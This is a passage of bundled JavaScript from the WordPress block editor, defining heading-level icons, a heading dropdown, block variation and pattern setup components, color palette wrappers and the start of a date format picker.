56392var heading_level_4_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M20 13V7h-3l-4 6v2h5v2h2v-2h1v-2h-1zm-2 0h-2.8L18 9v4zm-9-2H5V7H3v10h2v-4h4v4h2V7H9v4z" }) });
56393
56394
56395;// ./node_modules/@wordpress/icons/build-module/library/heading-level-5.js
56396
56397
56398var heading_level_5_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M9 11H5V7H3v10h2v-4h4v4h2V7H9v4zm11.7 1.2c-.2-.3-.5-.7-.8-.9-.3-.3-.7-.5-1.1-.6-.5-.1-.9-.2-1.4-.2-.2 0-.5.1-.7.1-.2.1-.5.1-.7.2l.1-1.9h4.3V7H14l-.3 5 1 .6.5-.2.4-.1c.1-.1.3-.1.4-.1h.5c.5 0 1 .1 1.4.4.4.2.6.7.6 1.1 0 .4-.2.8-.6 1.1-.4.3-.9.4-1.4.4-.4 0-.9-.1-1.3-.3-.4-.2-.7-.4-1.1-.7 0 0-1.1 1.4-1 1.5.5.4 1 .8 1.6 1 .7.3 1.5.4 2.3.4.5 0 1-.1 1.5-.3s.9-.4 1.3-.7c.4-.3.7-.7.9-1.1s.3-.9.3-1.4-.1-1-.3-1.4z" }) });
56399
56400
56401;// ./node_modules/@wordpress/icons/build-module/library/heading-level-6.js
56402
56403
56404var heading_level_6_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M20.7 12.4c-.2-.3-.4-.6-.7-.9s-.6-.5-1-.6c-.4-.2-.8-.2-1.2-.2-.5 0-.9.1-1.3.3s-.8.5-1.2.8c0-.5 0-.9.2-1.4l.6-.9c.2-.2.5-.4.8-.5.6-.2 1.3-.2 1.9 0 .3.1.6.3.8.5 0 0 1.3-1.3 1.3-1.4-.4-.3-.9-.6-1.4-.8-.6-.2-1.3-.3-2-.3-.6 0-1.1.1-1.7.4-.5.2-1 .5-1.4.9-.4.4-.8 1-1 1.6-.3.7-.4 1.5-.4 2.3s.1 1.5.3 2.1c.2.6.6 1.1 1 1.5.4.4.9.7 1.4.9 1 .3 2 .3 3 0 .4-.1.8-.3 1.2-.6.3-.3.6-.6.8-1 .2-.5.3-.9.3-1.4s-.1-.9-.3-1.3zm-2 2.1c-.1.2-.3.4-.4.5-.1.1-.3.2-.5.2-.2.1-.4.1-.6.1-.2.1-.5 0-.7-.1-.2 0-.3-.2-.5-.3-.1-.2-.3-.4-.4-.6-.2-.3-.3-.7-.3-1 .3-.3.6-.5 1-.7.3-.1.7-.2 1-.2.4 0 .8.1 1.1.3.3.3.4.7.4 1.1 0 .2 0 .5-.1.7zM9 11H5V7H3v10h2v-4h4v4h2V7H9v4z" }) });
56405
56406
56407;// ./node_modules/@wordpress/block-editor/build-module/components/block-heading-level-dropdown/heading-level-icon.js
56408
56409
56410
56411const LEVEL_TO_PATH = {
56412 0: paragraph_default,
56413 1: heading_level_1_default,
56414 2: heading_level_2_default,
56415 3: heading_level_3_default,
56416 4: heading_level_4_default,
56417 5: heading_level_5_default,
56418 6: heading_level_6_default
56419};
56420function HeadingLevelIcon({ level }) {
56421 if (LEVEL_TO_PATH[level]) {
56422 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, { icon: LEVEL_TO_PATH[level] });
56423 }
56424 return null;
56425}
56426
56427
56428;// ./node_modules/@wordpress/block-editor/build-module/components/block-heading-level-dropdown/index.js
56429
56430
56431
56432
56433const HEADING_LEVELS = [1, 2, 3, 4, 5, 6];
56434const block_heading_level_dropdown_POPOVER_PROPS = {
56435 className: "block-library-heading-level-dropdown"
56436};
56437function HeadingLevelDropdown({
56438 options = HEADING_LEVELS,
56439 value,
56440 onChange
56441}) {
56442 const validOptions = options.filter(
56443 (option) => option === 0 || HEADING_LEVELS.includes(option)
56444 ).sort((a, b) => a - b);
56445 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56446 external_wp_components_namespaceObject.ToolbarDropdownMenu,
56447 {
56448 popoverProps: block_heading_level_dropdown_POPOVER_PROPS,
56449 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(HeadingLevelIcon, { level: value }),
56450 label: (0,external_wp_i18n_namespaceObject.__)("Change level"),
56451 controls: validOptions.map((targetLevel) => {
56452 const isActive = targetLevel === value;
56453 return {
56454 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(HeadingLevelIcon, { level: targetLevel }),
56455 title: targetLevel === 0 ? (0,external_wp_i18n_namespaceObject.__)("Paragraph") : (0,external_wp_i18n_namespaceObject.sprintf)(
56456 // translators: %d: heading level e.g: "1", "2", "3"
56457 (0,external_wp_i18n_namespaceObject.__)("Heading %d"),
56458 targetLevel
56459 ),
56460 isActive,
56461 onClick() {
56462 onChange(targetLevel);
56463 },
56464 role: "menuitemradio"
56465 };
56466 })
56467 }
56468 );
56469}
56470
56471
56472;// ./node_modules/@wordpress/icons/build-module/library/layout.js
56473
56474
56475var layout_layout_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z" }) });
56476
56477
56478;// ./node_modules/@wordpress/block-editor/build-module/components/block-variation-picker/index.js
56479
56480
56481
56482
56483
56484function BlockVariationPicker({
56485 icon = layout_layout_default,
56486 label = (0,external_wp_i18n_namespaceObject.__)("Choose variation"),
56487 instructions = (0,external_wp_i18n_namespaceObject.__)("Select a variation to start with:"),
56488 variations,
56489 onSelect,
56490 allowSkip
56491}) {
56492 const classes = dist_clsx("block-editor-block-variation-picker", {
56493 "has-many-variations": variations.length > 4
56494 });
56495 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
56496 external_wp_components_namespaceObject.Placeholder,
56497 {
56498 icon,
56499 label,
56500 instructions,
56501 className: classes,
56502 children: [
56503 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56504 "ul",
56505 {
56506 className: "block-editor-block-variation-picker__variations",
56507 role: "list",
56508 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Block variations"),
56509 children: variations.map((variation) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("li", { children: [
56510 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56511 external_wp_components_namespaceObject.Button,
56512 {
56513 __next40pxDefaultSize: true,
56514 variant: "tertiary",
56515 icon: variation.icon && variation.icon.src ? variation.icon.src : variation.icon,
56516 iconSize: 48,
56517 onClick: () => onSelect(variation),
56518 className: "block-editor-block-variation-picker__variation",
56519 label: variation.description || variation.title
56520 }
56521 ),
56522 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "block-editor-block-variation-picker__variation-label", children: variation.title })
56523 ] }, variation.name))
56524 }
56525 ),
56526 allowSkip && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-block-variation-picker__skip", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56527 external_wp_components_namespaceObject.Button,
56528 {
56529 __next40pxDefaultSize: true,
56530 variant: "link",
56531 onClick: () => onSelect(),
56532 children: (0,external_wp_i18n_namespaceObject.__)("Skip")
56533 }
56534 ) })
56535 ]
56536 }
56537 );
56538}
56539var block_variation_picker_default = BlockVariationPicker;
56540
56541
56542;// ./node_modules/@wordpress/block-editor/build-module/components/block-pattern-setup/constants.js
56543const VIEWMODES = {
56544 carousel: "carousel",
56545 grid: "grid"
56546};
56547
56548
56549;// ./node_modules/@wordpress/block-editor/build-module/components/block-pattern-setup/setup-toolbar.js
56550
56551
56552
56553
56554
56555const Actions = ({ onBlockPatternSelect }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-block-pattern-setup__actions", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56556 external_wp_components_namespaceObject.Button,
56557 {
56558 __next40pxDefaultSize: true,
56559 variant: "primary",
56560 onClick: onBlockPatternSelect,
56561 children: (0,external_wp_i18n_namespaceObject.__)("Choose")
56562 }
56563) });
56564const CarouselNavigation = ({
56565 handlePrevious,
56566 handleNext,
56567 activeSlide,
56568 totalSlides
56569}) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-block-pattern-setup__navigation", children: [
56570 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56571 external_wp_components_namespaceObject.Button,
56572 {
56573 size: "compact",
56574 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_right_default : chevron_left_default,
56575 label: (0,external_wp_i18n_namespaceObject.__)("Previous pattern"),
56576 onClick: handlePrevious,
56577 disabled: activeSlide === 0,
56578 accessibleWhenDisabled: true
56579 }
56580 ),
56581 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56582 external_wp_components_namespaceObject.Button,
56583 {
56584 size: "compact",
56585 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left_default : chevron_right_default,
56586 label: (0,external_wp_i18n_namespaceObject.__)("Next pattern"),
56587 onClick: handleNext,
56588 disabled: activeSlide === totalSlides - 1,
56589 accessibleWhenDisabled: true
56590 }
56591 )
56592] });
56593const SetupToolbar = ({
56594 viewMode,
56595 setViewMode,
56596 handlePrevious,
56597 handleNext,
56598 activeSlide,
56599 totalSlides,
56600 onBlockPatternSelect
56601}) => {
56602 const isCarouselView = viewMode === VIEWMODES.carousel;
56603 const displayControls = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-block-pattern-setup__display-controls", children: [
56604 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56605 external_wp_components_namespaceObject.Button,
56606 {
56607 size: "compact",
56608 icon: stretch_full_width_default,
56609 label: (0,external_wp_i18n_namespaceObject.__)("Carousel view"),
56610 onClick: () => setViewMode(VIEWMODES.carousel),
56611 isPressed: isCarouselView
56612 }
56613 ),
56614 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56615 external_wp_components_namespaceObject.Button,
56616 {
56617 size: "compact",
56618 icon: grid_grid_default,
56619 label: (0,external_wp_i18n_namespaceObject.__)("Grid view"),
56620 onClick: () => setViewMode(VIEWMODES.grid),
56621 isPressed: viewMode === VIEWMODES.grid
56622 }
56623 )
56624 ] });
56625 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-block-pattern-setup__toolbar", children: [
56626 isCarouselView && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56627 CarouselNavigation,
56628 {
56629 handlePrevious,
56630 handleNext,
56631 activeSlide,
56632 totalSlides
56633 }
56634 ),
56635 displayControls,
56636 isCarouselView && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Actions, { onBlockPatternSelect })
56637 ] });
56638};
56639var setup_toolbar_default = SetupToolbar;
56640
56641
56642;// ./node_modules/@wordpress/block-editor/build-module/components/block-pattern-setup/use-patterns-setup.js
56643
56644
56645function usePatternsSetup(clientId, blockName, filterPatternsFn) {
56646 return (0,external_wp_data_namespaceObject.useSelect)(
56647 (select) => {
56648 const {
56649 getBlockRootClientId,
56650 getPatternsByBlockTypes,
56651 __experimentalGetAllowedPatterns
56652 } = select(store);
56653 const rootClientId = getBlockRootClientId(clientId);
56654 if (filterPatternsFn) {
56655 return __experimentalGetAllowedPatterns(rootClientId).filter(
56656 filterPatternsFn
56657 );
56658 }
56659 return getPatternsByBlockTypes(blockName, rootClientId);
56660 },
56661 [clientId, blockName, filterPatternsFn]
56662 );
56663}
56664var use_patterns_setup_default = usePatternsSetup;
56665
56666
56667;// ./node_modules/@wordpress/block-editor/build-module/components/block-pattern-setup/index.js
56668
56669
56670
56671
56672
56673
56674
56675
56676
56677
56678
56679
56680const SetupContent = ({
56681 viewMode,
56682 activeSlide,
56683 patterns,
56684 onBlockPatternSelect,
56685 showTitles
56686}) => {
56687 const containerClass = "block-editor-block-pattern-setup__container";
56688 if (viewMode === VIEWMODES.carousel) {
56689 const slideClass = /* @__PURE__ */ new Map([
56690 [activeSlide, "active-slide"],
56691 [activeSlide - 1, "previous-slide"],
56692 [activeSlide + 1, "next-slide"]
56693 ]);
56694 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-block-pattern-setup__carousel", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: containerClass, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "carousel-container", children: patterns.map((pattern, index) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56695 BlockPatternSlide,
56696 {
56697 active: index === activeSlide,
56698 className: slideClass.get(index) || "",
56699 pattern
56700 },
56701 pattern.name
56702 )) }) }) });
56703 }
56704 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-block-pattern-setup__grid", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56705 external_wp_components_namespaceObject.Composite,
56706 {
56707 role: "listbox",
56708 className: containerClass,
56709 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Patterns list"),
56710 children: patterns.map((pattern) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56711 block_pattern_setup_BlockPattern,
56712 {
56713 pattern,
56714 onSelect: onBlockPatternSelect,
56715 showTitles
56716 },
56717 pattern.name
56718 ))
56719 }
56720 ) });
56721};
56722function block_pattern_setup_BlockPattern({ pattern, onSelect, showTitles }) {
56723 const baseClassName = "block-editor-block-pattern-setup-list";
56724 const { blocks, description, viewportWidth = 700 } = pattern;
56725 const descriptionId = (0,external_wp_compose_namespaceObject.useInstanceId)(
56726 block_pattern_setup_BlockPattern,
56727 `${baseClassName}__item-description`
56728 );
56729 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: `${baseClassName}__list-item`, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
56730 external_wp_components_namespaceObject.Composite.Item,
56731 {
56732 render: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56733 "div",
56734 {
56735 "aria-describedby": description ? descriptionId : void 0,
56736 "aria-label": pattern.title,
56737 className: `${baseClassName}__item`
56738 }
56739 ),
56740 id: `${baseClassName}__pattern__${pattern.name}`,
56741 role: "option",
56742 onClick: () => onSelect(blocks),
56743 children: [
56744 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56745 block_preview_default,
56746 {
56747 blocks,
56748 viewportWidth
56749 }
56750 ),
56751 showTitles && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: `${baseClassName}__item-title`, children: pattern.title }),
56752 !!description && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, { id: descriptionId, children: description })
56753 ]
56754 }
56755 ) });
56756}
56757function BlockPatternSlide({ active, className, pattern, minHeight }) {
56758 const { blocks, title, description } = pattern;
56759 const descriptionId = (0,external_wp_compose_namespaceObject.useInstanceId)(
56760 BlockPatternSlide,
56761 "block-editor-block-pattern-setup-list__item-description"
56762 );
56763 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
56764 "div",
56765 {
56766 "aria-hidden": !active,
56767 role: "img",
56768 className: `pattern-slide ${className}`,
56769 "aria-label": title,
56770 "aria-describedby": description ? descriptionId : void 0,
56771 children: [
56772 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_preview_default, { blocks, minHeight }),
56773 !!description && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, { id: descriptionId, children: description })
56774 ]
56775 }
56776 );
56777}
56778const BlockPatternSetup = ({
56779 clientId,
56780 blockName,
56781 filterPatternsFn,
56782 onBlockPatternSelect,
56783 initialViewMode = VIEWMODES.carousel,
56784 showTitles = false
56785}) => {
56786 const [viewMode, setViewMode] = (0,external_wp_element_namespaceObject.useState)(initialViewMode);
56787 const [activeSlide, setActiveSlide] = (0,external_wp_element_namespaceObject.useState)(0);
56788 const { replaceBlock } = (0,external_wp_data_namespaceObject.useDispatch)(store);
56789 const patterns = use_patterns_setup_default(clientId, blockName, filterPatternsFn);
56790 if (!patterns?.length) {
56791 return null;
56792 }
56793 const onBlockPatternSelectDefault = (blocks) => {
56794 const clonedBlocks = blocks.map((block) => (0,external_wp_blocks_namespaceObject.cloneBlock)(block));
56795 replaceBlock(clientId, clonedBlocks);
56796 };
56797 const onPatternSelectCallback = onBlockPatternSelect || onBlockPatternSelectDefault;
56798 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
56799 "div",
56800 {
56801 className: `block-editor-block-pattern-setup view-mode-${viewMode}`,
56802 children: [
56803 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56804 SetupContent,
56805 {
56806 viewMode,
56807 activeSlide,
56808 patterns,
56809 onBlockPatternSelect: onPatternSelectCallback,
56810 showTitles
56811 }
56812 ),
56813 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56814 setup_toolbar_default,
56815 {
56816 viewMode,
56817 setViewMode,
56818 activeSlide,
56819 totalSlides: patterns.length,
56820 handleNext: () => {
56821 setActiveSlide(
56822 (active) => Math.min(active + 1, patterns.length - 1)
56823 );
56824 },
56825 handlePrevious: () => {
56826 setActiveSlide(
56827 (active) => Math.max(active - 1, 0)
56828 );
56829 },
56830 onBlockPatternSelect: () => {
56831 onPatternSelectCallback(
56832 patterns[activeSlide].blocks
56833 );
56834 }
56835 }
56836 )
56837 ]
56838 }
56839 ) });
56840};
56841var block_pattern_setup_default = BlockPatternSetup;
56842
56843
56844;// ./node_modules/@wordpress/block-editor/build-module/components/block-variation-transforms/index.js
56845
56846
56847
56848
56849
56850
56851
56852
56853
56854
56855function VariationsButtons({
56856 className,
56857 onSelectVariation,
56858 selectedValue,
56859 variations
56860}) {
56861 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("fieldset", { className, children: [
56862 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, { as: "legend", children: (0,external_wp_i18n_namespaceObject.__)("Transform to variation") }),
56863 variations.map((variation) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56864 external_wp_components_namespaceObject.Button,
56865 {
56866 __next40pxDefaultSize: true,
56867 size: "compact",
56868 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_icon_default, { icon: variation.icon, showColors: true }),
56869 isPressed: selectedValue === variation.name,
56870 label: selectedValue === variation.name ? variation.title : (0,external_wp_i18n_namespaceObject.sprintf)(
56871 /* translators: %s: Block or block variation name. */
56872 (0,external_wp_i18n_namespaceObject.__)("Transform to %s"),
56873 variation.title
56874 ),
56875 onClick: () => onSelectVariation(variation.name),
56876 "aria-label": variation.title,
56877 showTooltip: true
56878 },
56879 variation.name
56880 ))
56881 ] });
56882}
56883function VariationsDropdown({
56884 className,
56885 onSelectVariation,
56886 selectedValue,
56887 variations
56888}) {
56889 const selectOptions = variations.map(
56890 ({ name, title, description }) => ({
56891 value: name,
56892 label: title,
56893 info: description
56894 })
56895 );
56896 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56897 external_wp_components_namespaceObject.DropdownMenu,
56898 {
56899 className,
56900 label: (0,external_wp_i18n_namespaceObject.__)("Transform to variation"),
56901 text: (0,external_wp_i18n_namespaceObject.__)("Transform to variation"),
56902 popoverProps: {
56903 position: "bottom center",
56904 className: `${className}__popover`
56905 },
56906 icon: chevron_down_default,
56907 toggleProps: { iconPosition: "right" },
56908 children: () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56909 external_wp_components_namespaceObject.MenuItemsChoice,
56910 {
56911 choices: selectOptions,
56912 value: selectedValue,
56913 onSelect: onSelectVariation
56914 }
56915 ) })
56916 }
56917 );
56918}
56919function VariationsToggleGroupControl({
56920 className,
56921 onSelectVariation,
56922 selectedValue,
56923 variations
56924}) {
56925 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56926 external_wp_components_namespaceObject.__experimentalToggleGroupControl,
56927 {
56928 label: (0,external_wp_i18n_namespaceObject.__)("Transform to variation"),
56929 value: selectedValue,
56930 hideLabelFromVision: true,
56931 onChange: onSelectVariation,
56932 __next40pxDefaultSize: true,
56933 __nextHasNoMarginBottom: true,
56934 children: variations.map((variation) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
56935 external_wp_components_namespaceObject.__experimentalToggleGroupControlOptionIcon,
56936 {
56937 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_icon_default, { icon: variation.icon, showColors: true }),
56938 value: variation.name,
56939 label: selectedValue === variation.name ? variation.title : (0,external_wp_i18n_namespaceObject.sprintf)(
56940 /* translators: %s: Block or block variation name. */
56941 (0,external_wp_i18n_namespaceObject.__)("Transform to %s"),
56942 variation.title
56943 )
56944 },
56945 variation.name
56946 ))
56947 }
56948 ) });
56949}
56950function __experimentalBlockVariationTransforms({ blockClientId }) {
56951 const { updateBlockAttributes } = (0,external_wp_data_namespaceObject.useDispatch)(store);
56952 const {
56953 activeBlockVariation,
56954 unfilteredVariations,
56955 blockName,
56956 isContentOnly,
56957 isSection
56958 } = (0,external_wp_data_namespaceObject.useSelect)(
56959 (select) => {
56960 const { getActiveBlockVariation, getBlockVariations } = select(external_wp_blocks_namespaceObject.store);
56961 const {
56962 getBlockName,
56963 getBlockAttributes,
56964 getBlockEditingMode,
56965 isSectionBlock
56966 } = unlock(select(store));
56967 const name = blockClientId && getBlockName(blockClientId);
56968 const { hasContentRoleAttribute } = unlock(select(external_wp_blocks_namespaceObject.store));
56969 const isContentBlock = hasContentRoleAttribute(name);
56970 return {
56971 activeBlockVariation: getActiveBlockVariation(
56972 name,
56973 getBlockAttributes(blockClientId),
56974 "transform"
56975 ),
56976 unfilteredVariations: name && getBlockVariations(name, "transform"),
56977 blockName: name,
56978 isContentOnly: getBlockEditingMode(blockClientId) === "contentOnly" && !isContentBlock,
56979 isSection: isSectionBlock(blockClientId)
56980 };
56981 },
56982 [blockClientId]
56983 );
56984 const variations = (0,external_wp_element_namespaceObject.useMemo)(() => {
56985 if (blockName === "core/paragraph") {
56986 if (activeBlockVariation?.name === "stretchy-paragraph" || unfilteredVariations.every(
56987 (v) => ["paragraph", "stretchy-paragraph"].includes(v.name)
56988 )) {
56989 return [];
56990 }
56991 return unfilteredVariations.filter(
56992 (v) => v.name !== "stretchy-paragraph"
56993 );
56994 } else if (blockName === "core/heading") {
56995 if (activeBlockVariation?.name === "stretchy-heading" || unfilteredVariations.every(
56996 (v) => ["heading", "stretchy-heading"].includes(v.name)
56997 )) {
56998 return [];
56999 }
57000 return unfilteredVariations.filter(
57001 (v) => v.name !== "stretchy-heading"
57002 );
57003 }
57004 return unfilteredVariations;
57005 }, [activeBlockVariation?.name, blockName, unfilteredVariations]);
57006 const selectedValue = activeBlockVariation?.name;
57007 const hasUniqueIcons = (0,external_wp_element_namespaceObject.useMemo)(() => {
57008 const variationIcons = /* @__PURE__ */ new Set();
57009 if (!variations) {
57010 return false;
57011 }
57012 variations.forEach((variation) => {
57013 if (variation.icon) {
57014 variationIcons.add(variation.icon?.src || variation.icon);
57015 }
57016 });
57017 return variationIcons.size === variations.length;
57018 }, [variations]);
57019 const onSelectVariation = (variationName) => {
57020 updateBlockAttributes(blockClientId, {
57021 ...variations.find(({ name }) => name === variationName).attributes
57022 });
57023 };
57024 const hideVariationsForSections = window?.__experimentalContentOnlyPatternInsertion && isSection;
57025 if (!variations?.length || isContentOnly || hideVariationsForSections) {
57026 return null;
57027 }
57028 const baseClass = "block-editor-block-variation-transforms";
57029 const showButtons = variations.length > 5;
57030 const ButtonComponent = showButtons ? VariationsButtons : VariationsToggleGroupControl;
57031 const Component = hasUniqueIcons ? ButtonComponent : VariationsDropdown;
57032 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
57033 Component,
57034 {
57035 className: baseClass,
57036 onSelectVariation,
57037 selectedValue,
57038 variations
57039 }
57040 );
57041}
57042var block_variation_transforms_default = __experimentalBlockVariationTransforms;
57043
57044
57045;// ./node_modules/@wordpress/block-editor/build-module/components/color-palette/with-color-context.js
57046
57047
57048
57049var with_color_context_default = (0,external_wp_compose_namespaceObject.createHigherOrderComponent)((WrappedComponent) => {
57050 return (props) => {
57051 const [
57052 defaultColors,
57053 themeColors,
57054 customColors,
57055 enableCustomColors,
57056 enableDefaultColors
57057 ] = use_settings_useSettings(
57058 "color.palette.default",
57059 "color.palette.theme",
57060 "color.palette.custom",
57061 "color.custom",
57062 "color.defaultPalette"
57063 );
57064 const _colors = enableDefaultColors ? [
57065 ...themeColors || [],
57066 ...defaultColors || [],
57067 ...customColors || []
57068 ] : [...themeColors || [], ...customColors || []];
57069 const { colors = _colors, disableCustomColors = !enableCustomColors } = props;
57070 const hasColorsToChoose = colors && colors.length > 0 || !disableCustomColors;
57071 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
57072 WrappedComponent,
57073 {
57074 ...{
57075 ...props,
57076 colors,
57077 disableCustomColors,
57078 hasColorsToChoose
57079 }
57080 }
57081 );
57082 };
57083}, "withColorContext");
57084
57085
57086;// ./node_modules/@wordpress/block-editor/build-module/components/color-palette/index.js
57087
57088
57089var color_palette_default = with_color_context_default(external_wp_components_namespaceObject.ColorPalette);
57090
57091
57092;// ./node_modules/@wordpress/block-editor/build-module/components/color-palette/control.js
57093
57094
57095function ColorPaletteControl({
57096 onChange,
57097 value,
57098 ...otherProps
57099}) {
57100 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
57101 control_default,
57102 {
57103 ...otherProps,
57104 onColorChange: onChange,
57105 colorValue: value,
57106 gradients: [],
57107 disableCustomGradients: true
57108 }
57109 );
57110}
57111
57112
57113;// external ["wp","date"]
57114const external_wp_date_namespaceObject = window["wp"]["date"];
57115;// ./node_modules/@wordpress/block-editor/build-module/components/date-format-picker/index.js
57116
57117
57118
57119
57120
57121const exampleDate = /* @__PURE__ */ new Date();
57122exampleDate.setDate(20);
57123exampleDate.setMonth(exampleDate.getMonth() - 3);
57124if (exampleDate.getMonth() === 4) {
57125 exampleDate.setMonth(3);
57126}
57127function DateFormatPicker({
57128 format,
57129 defaultFormat,
57130 onChange
57131}) {
57132 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
57133 external_wp_components_namespaceObject.__experimentalVStack,
57134 {
57135 as: "fieldset",
57136 spacing: 4,
57137 className: "block-editor-date-format-picker",
57138 children: [
57139 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, { as: "legend", children: (0,external_wp_i18n_namespaceObject.__)("Date format") }),
57140 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
57141 external_wp_components_namespaceObject.ToggleControl,
57142 {
57143 __nextHasNoMarginBottom: true,
57144 label: (0,external_wp_i18n_namespaceObject.__)("Default format"),
57145 help: `${(0,external_wp_i18n_namespaceObject.__)("Example:")} ${(0,external_wp_date_namespaceObject.dateI18n)(
57146 defaultFormat,
57147 exampleDate
57148 )}`,
57149 checked: !format,
57150 onChange: (checked) => onChange(checked ? null : defaultFormat)
57151 }
57152 ),
